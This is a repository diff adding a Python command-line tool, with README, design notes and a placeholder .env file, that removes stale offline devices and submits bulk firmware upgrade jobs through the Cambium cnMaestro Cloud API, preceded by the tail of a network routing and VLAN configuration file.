"name": "vlan10_ether7",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether7-switch"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_sfp-sfpplus1",
|
||||
"vlan_id": 10,
|
||||
"interface": "sfp-sfpplus1"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "Climax",
|
||||
"interface": "climax-bridge"
|
||||
}
|
||||
],
|
||||
"routes": [
|
||||
{
|
||||
"destination": "10.10.0.0/20",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.10.80.0/20",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.64/29",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.101/32",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.111/32",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.10.160.0/20",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.0.0/22",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.160.0/20",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.64/27",
|
||||
"gateway": "10.250.1.65",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.224/27",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.191.0/27",
|
||||
"gateway": "10.250.1.25",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
8
cnmaestro/.env.example
Normal file
8
cnmaestro/.env.example
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# cnMaestro Cloud API credentials
|
||||
# Each tenant has its own regional subdomain; check the URL bar when
|
||||
# logged in to cnMaestro and copy the scheme + host (everything before
|
||||
# the first "/#/").
|
||||
# Example: https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com
|
||||
CNMAESTRO_BASE_URL=https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com
|
||||
CNMAESTRO_CLIENT_ID=your-client-id-here
|
||||
CNMAESTRO_CLIENT_SECRET=your-client-secret-here
|
||||
10
cnmaestro/.gitignore
vendored
Normal file
10
cnmaestro/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
.env
|
||||
.venv/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.pytest_cache/
|
||||
cnmaestro.log
|
||||
dist/
|
||||
build/
|
||||
*.egg-info/
|
||||
.uv-cache/
|
||||
91
cnmaestro/README.md
Normal file
91
cnmaestro/README.md
Normal file
|
|
@ -0,0 +1,91 @@
|
|||
# cnmaestro CLI
|
||||
|
||||
Cleanup offline devices and bulk-upgrade firmware on a cnMaestro Cloud
|
||||
instance (cloud.cambiumnetworks.com).
|
||||
|
||||
## Setup
|
||||
|
||||
### 1. Find your tenant's API base URL
|
||||
|
||||
Each cnMaestro Cloud tenant lives on a regional subdomain. Log in to
|
||||
your tenant in a browser and copy the scheme + host portion of the
|
||||
URL — everything before the first `/#/`. Example:
|
||||
|
||||
```
|
||||
https://us-e1-s1-cmjbcvncy6.cloud.cambiumnetworks.com/#/VERONA_NETWORKS/home-view/home
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
this is your CNMAESTRO_BASE_URL
|
||||
```
|
||||
|
||||
### 2. Create an API client
|
||||
|
||||
1. While logged in, go to the menu (top-right gear/avatar) →
|
||||
**Application** (or **Services**) → **API Clients**.
|
||||
2. Click **Add New** (or **Add API Client**).
|
||||
3. Give it a name (e.g. `cnmaestro-cli`). Grant a role that has at
|
||||
minimum:
|
||||
- Read access to devices and firmware.
|
||||
- Delete access to devices.
|
||||
- Permission to create firmware-update jobs.
|
||||
The built-in **Administrator** role covers all three.
|
||||
4. Save and copy the **Client ID** and **Client Secret**. The secret
|
||||
is shown only once.
|
||||
|
||||
### 3. Install
|
||||
|
||||
```bash
|
||||
cd /Users/graham/dev/network/cnmaestro
|
||||
uv sync
|
||||
cp .env.example .env
|
||||
# edit .env with your client id + secret
|
||||
```
|
||||
|
||||
### 4. Smoke-test
|
||||
|
||||
```bash
|
||||
uv run cnmaestro cleanup --dry-run
|
||||
```
|
||||
|
||||
This authenticates, lists devices, and prints what *would* be removed
|
||||
without actually removing anything.
|
||||
|
||||
## Usage
|
||||
|
||||
### Remove devices offline > 24h
|
||||
|
||||
```bash
|
||||
uv run cnmaestro cleanup # interactive, asks before deleting
|
||||
uv run cnmaestro cleanup --threshold-hours 48 # custom threshold
|
||||
uv run cnmaestro cleanup --yes # non-interactive (cron)
|
||||
uv run cnmaestro cleanup --dry-run # just print, never delete
|
||||
```
|
||||
|
||||
### Bulk-upgrade online devices to latest firmware per model
|
||||
|
||||
```bash
|
||||
uv run cnmaestro upgrade # interactive
|
||||
uv run cnmaestro upgrade --product ePMP,PMP # only these products
|
||||
uv run cnmaestro upgrade --yes # non-interactive
|
||||
uv run cnmaestro upgrade --dry-run # show planned jobs only
|
||||
```
|
||||
|
||||
The upgrade command groups devices by `(product, target_version)` and
|
||||
submits one bulk firmware job per group (cnMaestro caps each job at
|
||||
100 devices, so larger groups are chunked).
|
||||
|
||||
## Safety
|
||||
|
||||
- Both commands default to interactive confirmation.
|
||||
- `cleanup` refuses to run if more than 50 % of the fleet would be
|
||||
removed; pass `--force` to override.
|
||||
- Every destructive call (delete, job-submit) is appended to
|
||||
`./cnmaestro.log` for audit.
|
||||
- The OAuth2 token is held in memory only.
|
||||
|
||||
## Tests
|
||||
|
||||
```bash
|
||||
uv run pytest
|
||||
```
|
||||
|
||||
All HTTP is mocked with `respx`; tests never touch the live API.
|
||||
3
cnmaestro/cnmaestro/__init__.py
Normal file
3
cnmaestro/cnmaestro/__init__.py
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
"""cnMaestro Cloud CLI."""
|
||||
|
||||
__version__ = "0.1.0"
|
||||
252
cnmaestro/cnmaestro/cli.py
Normal file
252
cnmaestro/cnmaestro/cli.py
Normal file
|
|
@ -0,0 +1,252 @@
|
|||
"""Click CLI: cleanup + upgrade commands."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import click
|
||||
from dotenv import load_dotenv
|
||||
from rich.console import Console
|
||||
from rich.progress import Progress
|
||||
from rich.table import Table
|
||||
|
||||
from .client import CnMaestroClient, CnMaestroError
|
||||
from .devices import (
|
||||
Device,
|
||||
delete_device,
|
||||
list_devices,
|
||||
partition_for_cleanup,
|
||||
)
|
||||
from .firmware import (
|
||||
list_firmware,
|
||||
plan_upgrades,
|
||||
submit_upgrade,
|
||||
)
|
||||
|
||||
LOG_PATH = Path("cnmaestro.log")
|
||||
console = Console()
|
||||
|
||||
|
||||
def _setup_audit_log() -> logging.Logger:
|
||||
log = logging.getLogger("cnmaestro.audit")
|
||||
if log.handlers:
|
||||
return log
|
||||
log.setLevel(logging.INFO)
|
||||
handler = logging.FileHandler(LOG_PATH)
|
||||
handler.setFormatter(
|
||||
logging.Formatter("%(asctime)s %(levelname)s %(message)s")
|
||||
)
|
||||
log.addHandler(handler)
|
||||
return log
|
||||
|
||||
|
||||
def _fmt_last_sync(d: Device) -> str:
|
||||
if d.last_sync is None:
|
||||
return "[red]never[/red]"
|
||||
delta = datetime.now(tz=timezone.utc) - d.last_sync
|
||||
if delta.days >= 1:
|
||||
return f"{delta.days}d ago"
|
||||
hours = delta.seconds // 3600
|
||||
mins = (delta.seconds % 3600) // 60
|
||||
if hours:
|
||||
return f"{hours}h{mins:02d}m ago"
|
||||
return f"{mins}m ago"
|
||||
|
||||
|
||||
def _render_cleanup_table(devices: list[Device], title: str) -> Table:
|
||||
table = Table(title=title, show_lines=False)
|
||||
table.add_column("Name")
|
||||
table.add_column("MAC")
|
||||
table.add_column("Product")
|
||||
table.add_column("Last sync")
|
||||
table.add_column("Tower")
|
||||
for d in sorted(devices, key=lambda x: (x.product, x.name)):
|
||||
table.add_row(
|
||||
d.name,
|
||||
d.mac,
|
||||
d.product,
|
||||
_fmt_last_sync(d),
|
||||
d.tower or "-",
|
||||
)
|
||||
return table
|
||||
|
||||
|
||||
@click.group()
|
||||
def main() -> None:
|
||||
"""cnMaestro Cloud CLI."""
|
||||
load_dotenv()
|
||||
|
||||
|
||||
@main.command()
|
||||
@click.option(
|
||||
"--threshold-hours", type=float, default=24.0, show_default=True,
|
||||
help="Devices offline at least this long are removal candidates.",
|
||||
)
|
||||
@click.option("--dry-run", is_flag=True, help="Show plan, do not delete.")
|
||||
@click.option("--yes", is_flag=True, help="Skip confirmation prompt.")
|
||||
@click.option(
|
||||
"--force", is_flag=True,
|
||||
help="Override the >50%-of-fleet sanity check.",
|
||||
)
|
||||
def cleanup(threshold_hours: float, dry_run: bool, yes: bool, force: bool) -> None:
|
||||
"""Remove devices offline > threshold and never-synced devices."""
|
||||
audit = _setup_audit_log()
|
||||
try:
|
||||
with CnMaestroClient() as client:
|
||||
console.print("Fetching device inventory...")
|
||||
devices = list_devices(client)
|
||||
partition = partition_for_cleanup(devices, threshold_hours)
|
||||
candidates = partition.candidates
|
||||
|
||||
console.print(
|
||||
f"\n[bold]Fleet:[/bold] {partition.total} devices "
|
||||
f"([green]{len(partition.online)} online[/green], "
|
||||
f"[yellow]{len(partition.offline_recent)} offline (recent)[/yellow], "
|
||||
f"[red]{len(partition.offline_stale)} offline >{threshold_hours:g}h[/red], "
|
||||
f"[red]{len(partition.never_synced)} never-synced[/red])"
|
||||
)
|
||||
|
||||
if not candidates:
|
||||
console.print("[green]Nothing to remove.[/green]")
|
||||
return
|
||||
|
||||
console.print(_render_cleanup_table(candidates, "Removal candidates"))
|
||||
console.print(
|
||||
f"[bold red]Will remove {len(candidates)} devices[/bold red] "
|
||||
f"({len(partition.offline_stale)} offline-stale, "
|
||||
f"{len(partition.never_synced)} never-synced)."
|
||||
)
|
||||
|
||||
ratio = len(candidates) / partition.total if partition.total else 0
|
||||
if ratio > 0.5 and not force:
|
||||
console.print(
|
||||
f"[red]Refusing: {ratio:.0%} of the fleet would be deleted. "
|
||||
f"Pass --force to override.[/red]"
|
||||
)
|
||||
sys.exit(2)
|
||||
|
||||
if dry_run:
|
||||
console.print("[yellow]--dry-run: no changes made.[/yellow]")
|
||||
return
|
||||
|
||||
if not yes and not click.confirm("Proceed with deletion?", default=False):
|
||||
console.print("Aborted.")
|
||||
return
|
||||
|
||||
failures: list[tuple[Device, str]] = []
|
||||
with Progress() as progress:
|
||||
task = progress.add_task("Deleting", total=len(candidates))
|
||||
for d in candidates:
|
||||
try:
|
||||
delete_device(client, d.mac)
|
||||
audit.info(
|
||||
"DELETE device mac=%s name=%s product=%s",
|
||||
d.mac, d.name, d.product,
|
||||
)
|
||||
except CnMaestroError as e:
|
||||
failures.append((d, str(e)))
|
||||
audit.error("DELETE failed mac=%s err=%s", d.mac, e)
|
||||
progress.update(task, advance=1)
|
||||
|
||||
console.print(
|
||||
f"[green]Deleted {len(candidates) - len(failures)}[/green]"
|
||||
+ (f", [red]{len(failures)} failed[/red]" if failures else "")
|
||||
)
|
||||
for d, err in failures:
|
||||
console.print(f" [red]✗ {d.mac} {d.name}: {err}[/red]")
|
||||
except CnMaestroError as e:
|
||||
console.print(f"[red]Error:[/red] {e}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
@main.command()
|
||||
@click.option("--dry-run", is_flag=True, help="Show plan, do not submit jobs.")
|
||||
@click.option("--yes", is_flag=True, help="Skip confirmation prompt.")
|
||||
@click.option(
|
||||
"--product", default=None,
|
||||
help="Comma-separated product types to include (e.g. ePMP,PMP,cnMatrix).",
|
||||
)
|
||||
def upgrade(dry_run: bool, yes: bool, product: str | None) -> None:
|
||||
"""Submit firmware-upgrade jobs to bring online devices to latest."""
|
||||
audit = _setup_audit_log()
|
||||
products_filter = (
|
||||
{p.strip() for p in product.split(",") if p.strip()} if product else None
|
||||
)
|
||||
try:
|
||||
with CnMaestroClient() as client:
|
||||
console.print("Fetching devices and firmware images...")
|
||||
devices = list_devices(client)
|
||||
images = list_firmware(client)
|
||||
groups = plan_upgrades(devices, images, products_filter=products_filter)
|
||||
|
||||
online_count = sum(1 for d in devices if d.is_online)
|
||||
console.print(
|
||||
f"[bold]Online devices:[/bold] {online_count}; "
|
||||
f"[bold]upgrade groups:[/bold] {len(groups)}"
|
||||
)
|
||||
|
||||
if not groups:
|
||||
console.print("[green]All eligible devices are already up to date.[/green]")
|
||||
return
|
||||
|
||||
table = Table(title="Planned firmware jobs")
|
||||
table.add_column("Product")
|
||||
table.add_column("Target version")
|
||||
table.add_column("Package")
|
||||
table.add_column("Devices", justify="right")
|
||||
total_devices = 0
|
||||
for g in groups:
|
||||
table.add_row(
|
||||
g.product,
|
||||
g.target.version,
|
||||
g.target.name,
|
||||
str(len(g.devices)),
|
||||
)
|
||||
total_devices += len(g.devices)
|
||||
console.print(table)
|
||||
console.print(
|
||||
f"[bold]Total devices to upgrade:[/bold] {total_devices}"
|
||||
)
|
||||
|
||||
if dry_run:
|
||||
console.print("[yellow]--dry-run: no jobs submitted.[/yellow]")
|
||||
return
|
||||
|
||||
if not yes and not click.confirm(
|
||||
"Submit firmware jobs?", default=False
|
||||
):
|
||||
console.print("Aborted.")
|
||||
return
|
||||
|
||||
for g in groups:
|
||||
console.print(
|
||||
f"Submitting {g.product} → {g.target.version} "
|
||||
f"({len(g.devices)} devices)..."
|
||||
)
|
||||
try:
|
||||
results = submit_upgrade(client, g)
|
||||
for r in results:
|
||||
job_id = (
|
||||
r.get("job_id") or r.get("id") or r.get("data", {}).get("id")
|
||||
)
|
||||
console.print(f" [green]job submitted[/green] id={job_id}")
|
||||
audit.info(
|
||||
"UPGRADE job product=%s target=%s devices=%d job_id=%s",
|
||||
g.product, g.target.version, len(g.devices), job_id,
|
||||
)
|
||||
except CnMaestroError as e:
|
||||
console.print(f" [red]✗ failed: {e}[/red]")
|
||||
audit.error(
|
||||
"UPGRADE job failed product=%s target=%s err=%s",
|
||||
g.product, g.target.version, e,
|
||||
)
|
||||
except CnMaestroError as e:
|
||||
console.print(f"[red]Error:[/red] {e}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
156
cnmaestro/cnmaestro/client.py
Normal file
156
cnmaestro/cnmaestro/client.py
Normal file
|
|
@ -0,0 +1,156 @@
|
|||
"""HTTP client for cnMaestro Cloud v2 API.
|
||||
|
||||
Handles OAuth2 client_credentials auth (with in-memory token cache and
|
||||
on-401 refresh) and paginated GETs.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
from collections.abc import Iterator
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
DEFAULT_PAGE_SIZE = 100
|
||||
|
||||
|
||||
class CnMaestroError(RuntimeError):
|
||||
"""Raised on API errors."""
|
||||
|
||||
|
||||
class CnMaestroClient:
|
||||
"""Synchronous client for cnMaestro Cloud v2 API."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
base_url: str | None = None,
|
||||
client_id: str | None = None,
|
||||
client_secret: str | None = None,
|
||||
timeout: float = 30.0,
|
||||
) -> None:
|
||||
self.base_url = (
|
||||
base_url or os.environ.get("CNMAESTRO_BASE_URL") or ""
|
||||
).rstrip("/")
|
||||
self.client_id = client_id or os.environ.get("CNMAESTRO_CLIENT_ID")
|
||||
self.client_secret = client_secret or os.environ.get("CNMAESTRO_CLIENT_SECRET")
|
||||
if not self.base_url:
|
||||
raise CnMaestroError(
|
||||
"Missing CNMAESTRO_BASE_URL. Copy .env.example to .env and set it "
|
||||
"to your tenant's URL (e.g. https://us-e1-s1-XXXX.cloud.cambiumnetworks.com)."
|
||||
)
|
||||
if not self.client_id or not self.client_secret:
|
||||
raise CnMaestroError(
|
||||
"Missing CNMAESTRO_CLIENT_ID / CNMAESTRO_CLIENT_SECRET. "
|
||||
"Copy .env.example to .env and fill in your API client."
|
||||
)
|
||||
self._http = httpx.Client(base_url=self.base_url, timeout=timeout)
|
||||
self._token: str | None = None
|
||||
|
||||
def close(self) -> None:
|
||||
self._http.close()
|
||||
|
||||
def __enter__(self) -> CnMaestroClient:
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc: object) -> None:
|
||||
self.close()
|
||||
|
||||
def _fetch_token(self) -> str:
|
||||
log.debug("Fetching new OAuth2 token")
|
||||
resp = self._http.post(
|
||||
"/api/v2/access/token",
|
||||
data={"grant_type": "client_credentials"},
|
||||
auth=(self.client_id, self.client_secret), # type: ignore[arg-type]
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded"},
|
||||
)
|
||||
if resp.status_code != 200:
|
||||
raise CnMaestroError(
|
||||
f"Token request failed: {resp.status_code} {resp.text}"
|
||||
)
|
||||
body = resp.json()
|
||||
token = body.get("access_token")
|
||||
if not token:
|
||||
raise CnMaestroError(f"Token response missing access_token: {body}")
|
||||
return token
|
||||
|
||||
def _auth_headers(self) -> dict[str, str]:
|
||||
if self._token is None:
|
||||
self._token = self._fetch_token()
|
||||
return {"Authorization": f"Bearer {self._token}"}
|
||||
|
||||
def _request(
|
||||
self,
|
||||
method: str,
|
||||
path: str,
|
||||
*,
|
||||
params: dict[str, Any] | None = None,
|
||||
json: Any = None,
|
||||
) -> httpx.Response:
|
||||
"""Send request, refreshing token once on 401."""
|
||||
for attempt in (1, 2):
|
||||
resp = self._http.request(
|
||||
method,
|
||||
path,
|
||||
params=params,
|
||||
json=json,
|
||||
headers=self._auth_headers(),
|
||||
)
|
||||
if resp.status_code == 401 and attempt == 1:
|
||||
log.debug("401 received; refreshing token and retrying")
|
||||
self._token = None
|
||||
continue
|
||||
return resp
|
||||
return resp # unreachable
|
||||
|
||||
def get(self, path: str, params: dict[str, Any] | None = None) -> Any:
|
||||
resp = self._request("GET", path, params=params)
|
||||
if resp.status_code >= 400:
|
||||
raise CnMaestroError(f"GET {path} → {resp.status_code} {resp.text}")
|
||||
return resp.json()
|
||||
|
||||
def delete(self, path: str) -> None:
|
||||
resp = self._request("DELETE", path)
|
||||
if resp.status_code >= 400:
|
||||
raise CnMaestroError(f"DELETE {path} → {resp.status_code} {resp.text}")
|
||||
|
||||
def post(self, path: str, payload: Any) -> Any:
|
||||
resp = self._request("POST", path, json=payload)
|
||||
if resp.status_code >= 400:
|
||||
raise CnMaestroError(f"POST {path} → {resp.status_code} {resp.text}")
|
||||
if resp.content:
|
||||
return resp.json()
|
||||
return None
|
||||
|
||||
def paginated(
|
||||
self,
|
||||
path: str,
|
||||
params: dict[str, Any] | None = None,
|
||||
page_size: int = DEFAULT_PAGE_SIZE,
|
||||
) -> Iterator[dict[str, Any]]:
|
||||
"""Yield items from a paginated endpoint.
|
||||
|
||||
cnMaestro v2 returns ``{"data": [...], "paging": {"total": N}}``.
|
||||
"""
|
||||
offset = 0
|
||||
params = dict(params or {})
|
||||
while True:
|
||||
params.update({"limit": page_size, "offset": offset})
|
||||
body = self.get(path, params=params)
|
||||
items = body.get("data", []) if isinstance(body, dict) else []
|
||||
if not items:
|
||||
return
|
||||
yield from items
|
||||
offset += len(items)
|
||||
total = (
|
||||
body.get("paging", {}).get("total")
|
||||
if isinstance(body, dict)
|
||||
else None
|
||||
)
|
||||
if total is not None and offset >= total:
|
||||
return
|
||||
if len(items) < page_size:
|
||||
return
|
||||
122
cnmaestro/cnmaestro/devices.py
Normal file
122
cnmaestro/cnmaestro/devices.py
Normal file
|
|
@ -0,0 +1,122 @@
|
|||
"""Device listing, partitioning, and deletion."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from typing import Any
|
||||
|
||||
from .client import CnMaestroClient
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Device:
|
||||
mac: str
|
||||
name: str
|
||||
product: str
|
||||
status: str # "online" | "offline" | other
|
||||
last_sync: datetime | None
|
||||
software_version: str | None
|
||||
tower: str | None
|
||||
network: str | None
|
||||
raw: dict[str, Any]
|
||||
|
||||
@property
|
||||
def is_online(self) -> bool:
|
||||
return self.status.lower() == "online"
|
||||
|
||||
@property
|
||||
def never_synced(self) -> bool:
|
||||
return self.last_sync is None
|
||||
|
||||
|
||||
def _parse_last_sync(value: Any) -> datetime | None:
|
||||
"""Parse cnMaestro last_sync (epoch ms or ISO 8601)."""
|
||||
if value in (None, "", 0):
|
||||
return None
|
||||
if isinstance(value, (int, float)):
|
||||
# cnMaestro uses epoch milliseconds
|
||||
return datetime.fromtimestamp(value / 1000, tz=timezone.utc)
|
||||
if isinstance(value, str):
|
||||
try:
|
||||
# try epoch first
|
||||
return datetime.fromtimestamp(int(value) / 1000, tz=timezone.utc)
|
||||
except ValueError:
|
||||
pass
|
||||
try:
|
||||
return datetime.fromisoformat(value.replace("Z", "+00:00"))
|
||||
except ValueError:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def device_from_api(d: dict[str, Any]) -> Device:
|
||||
return Device(
|
||||
mac=d.get("mac", "").upper(),
|
||||
name=d.get("name") or d.get("hostname") or "(unnamed)",
|
||||
product=d.get("product") or d.get("product_type") or "unknown",
|
||||
status=str(d.get("status", "")),
|
||||
last_sync=_parse_last_sync(
|
||||
d.get("last_sync") or d.get("last_seen") or d.get("status_time")
|
||||
),
|
||||
software_version=d.get("software_version") or d.get("sw_version"),
|
||||
tower=d.get("tower"),
|
||||
network=d.get("network"),
|
||||
raw=d,
|
||||
)
|
||||
|
||||
|
||||
def list_devices(client: CnMaestroClient) -> list[Device]:
|
||||
return [device_from_api(d) for d in client.paginated("/api/v2/devices")]
|
||||
|
||||
|
||||
@dataclass
|
||||
class CleanupPartition:
|
||||
online: list[Device]
|
||||
offline_recent: list[Device]
|
||||
offline_stale: list[Device]
|
||||
never_synced: list[Device]
|
||||
|
||||
@property
|
||||
def candidates(self) -> list[Device]:
|
||||
return self.offline_stale + self.never_synced
|
||||
|
||||
@property
|
||||
def total(self) -> int:
|
||||
return (
|
||||
len(self.online)
|
||||
+ len(self.offline_recent)
|
||||
+ len(self.offline_stale)
|
||||
+ len(self.never_synced)
|
||||
)
|
||||
|
||||
|
||||
def partition_for_cleanup(
|
||||
devices: list[Device], threshold_hours: float, now: datetime | None = None
|
||||
) -> CleanupPartition:
|
||||
now = now or datetime.now(tz=timezone.utc)
|
||||
cutoff = now - timedelta(hours=threshold_hours)
|
||||
online: list[Device] = []
|
||||
offline_recent: list[Device] = []
|
||||
offline_stale: list[Device] = []
|
||||
never_synced: list[Device] = []
|
||||
for d in devices:
|
||||
if d.is_online:
|
||||
online.append(d)
|
||||
continue
|
||||
if d.last_sync is None:
|
||||
never_synced.append(d)
|
||||
elif d.last_sync < cutoff:
|
||||
offline_stale.append(d)
|
||||
else:
|
||||
offline_recent.append(d)
|
||||
return CleanupPartition(
|
||||
online=online,
|
||||
offline_recent=offline_recent,
|
||||
offline_stale=offline_stale,
|
||||
never_synced=never_synced,
|
||||
)
|
||||
|
||||
|
||||
def delete_device(client: CnMaestroClient, mac: str) -> None:
|
||||
client.delete(f"/api/v2/devices/{mac}")
|
||||
112
cnmaestro/cnmaestro/firmware.py
Normal file
112
cnmaestro/cnmaestro/firmware.py
Normal file
|
|
@ -0,0 +1,112 @@
|
|||
"""Firmware image discovery and bulk upgrade job submission."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from collections import defaultdict
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
from .client import CnMaestroClient
|
||||
from .devices import Device
|
||||
|
||||
JOB_BATCH_SIZE = 100
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class FirmwareImage:
|
||||
product: str
|
||||
version: str
|
||||
name: str # package name to send in job payload
|
||||
raw: dict[str, Any]
|
||||
|
||||
|
||||
def _parse_version(v: str) -> tuple[int, ...]:
|
||||
"""Loose semver-ish parser. Non-numeric parts sort lower than numeric."""
|
||||
parts = re.split(r"[._\-+]", v)
|
||||
out: list[int] = []
|
||||
for p in parts:
|
||||
m = re.match(r"^(\d+)", p)
|
||||
if m:
|
||||
out.append(int(m.group(1)))
|
||||
else:
|
||||
out.append(-1)
|
||||
return tuple(out) if out else (-1,)
|
||||
|
||||
|
||||
def list_firmware(client: CnMaestroClient) -> list[FirmwareImage]:
|
||||
body = client.get("/api/v2/firmware")
|
||||
items = body.get("data", []) if isinstance(body, dict) else body or []
|
||||
images: list[FirmwareImage] = []
|
||||
for f in items:
|
||||
product = f.get("product") or f.get("product_type") or "unknown"
|
||||
version = f.get("version") or f.get("software_version") or ""
|
||||
name = f.get("package") or f.get("name") or version
|
||||
if not version:
|
||||
continue
|
||||
images.append(
|
||||
FirmwareImage(product=product, version=version, name=name, raw=f)
|
||||
)
|
||||
return images
|
||||
|
||||
|
||||
def latest_per_product(images: list[FirmwareImage]) -> dict[str, FirmwareImage]:
|
||||
"""Return the highest-version image per product."""
|
||||
best: dict[str, FirmwareImage] = {}
|
||||
for img in images:
|
||||
cur = best.get(img.product)
|
||||
if cur is None or _parse_version(img.version) > _parse_version(cur.version):
|
||||
best[img.product] = img
|
||||
return best
|
||||
|
||||
|
||||
@dataclass
|
||||
class UpgradeGroup:
|
||||
product: str
|
||||
target: FirmwareImage
|
||||
devices: list[Device]
|
||||
|
||||
|
||||
def plan_upgrades(
|
||||
devices: list[Device],
|
||||
images: list[FirmwareImage],
|
||||
products_filter: set[str] | None = None,
|
||||
) -> list[UpgradeGroup]:
|
||||
"""Build upgrade groups for online devices not already on the latest."""
|
||||
targets = latest_per_product(images)
|
||||
by_product: dict[str, list[Device]] = defaultdict(list)
|
||||
for d in devices:
|
||||
if not d.is_online:
|
||||
continue
|
||||
if products_filter and d.product not in products_filter:
|
||||
continue
|
||||
target = targets.get(d.product)
|
||||
if target is None:
|
||||
continue
|
||||
if d.software_version and _parse_version(d.software_version) >= _parse_version(
|
||||
target.version
|
||||
):
|
||||
continue
|
||||
by_product[d.product].append(d)
|
||||
groups: list[UpgradeGroup] = []
|
||||
for product, devs in by_product.items():
|
||||
groups.append(
|
||||
UpgradeGroup(product=product, target=targets[product], devices=devs)
|
||||
)
|
||||
return groups
|
||||
|
||||
|
||||
def chunked(seq: list[Any], size: int) -> list[list[Any]]:
|
||||
return [seq[i : i + size] for i in range(0, len(seq), size)]
|
||||
|
||||
|
||||
def submit_upgrade(
|
||||
client: CnMaestroClient, group: UpgradeGroup
|
||||
) -> list[dict[str, Any]]:
|
||||
"""Submit one or more firmware jobs for the group (chunked)."""
|
||||
results: list[dict[str, Any]] = []
|
||||
for batch in chunked([d.mac for d in group.devices], JOB_BATCH_SIZE):
|
||||
payload = {"devices": batch, "package": group.target.name}
|
||||
resp = client.post("/api/v2/devices/jobs/firmware", payload) or {}
|
||||
results.append(resp)
|
||||
return results
|
||||
|
|
@ -0,0 +1,94 @@
|
|||
# cnMaestro Cleanup + Bulk Firmware Upgrade Tool
|
||||
|
||||
**Date:** 2026-05-09
|
||||
**Status:** Approved, implementation starting
|
||||
|
||||
## Goal
|
||||
|
||||
Build a Python CLI for cnMaestro Cloud (cloud.cambiumnetworks.com) that:
|
||||
1. Removes devices offline for > 24 hours (configurable threshold).
|
||||
2. Submits bulk firmware upgrade jobs to bring online devices to the latest
|
||||
firmware available for their model.
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- NetBox sync (separate concern).
|
||||
- Daemon/scheduling (use cron + `--yes`).
|
||||
- Firmware rollback (cnMaestro handles).
|
||||
- Custom firmware uploads (use cnMaestro UI).
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
cnmaestro/
|
||||
├── README.md # Setup, API client creation, usage
|
||||
├── .env.example # CNMAESTRO_CLIENT_ID / _SECRET / _BASE_URL
|
||||
├── pyproject.toml # uv project
|
||||
├── cnmaestro/
|
||||
│ ├── __init__.py
|
||||
│ ├── client.py # OAuth2 + paginated httpx wrapper
|
||||
│ ├── devices.py # list, partition, delete
|
||||
│ ├── firmware.py # latest-per-model, job submission
|
||||
│ └── cli.py # click CLI
|
||||
└── tests/
|
||||
├── test_client.py
|
||||
├── test_devices.py
|
||||
└── test_firmware.py
|
||||
```
|
||||
|
||||
## API Reference (cnMaestro Cloud v2)
|
||||
|
||||
- **Auth:** `POST /api/v2/access/token` with `client_credentials` grant →
|
||||
bearer token. Cache in-memory, re-fetch on 401.
|
||||
- **List devices:** `GET /api/v2/devices?limit=100&offset=N`. Key fields:
|
||||
`mac`, `name`, `network`, `tower`, `status` ("online"/"offline"),
|
||||
`last_sync` (epoch ms or ISO 8601), `product`, `software_version`.
|
||||
- **Delete device:** `DELETE /api/v2/devices/{mac}`.
|
||||
- **Firmware images:** `GET /api/v2/firmware`. Returns image metadata
|
||||
with `product` and `version` fields per image.
|
||||
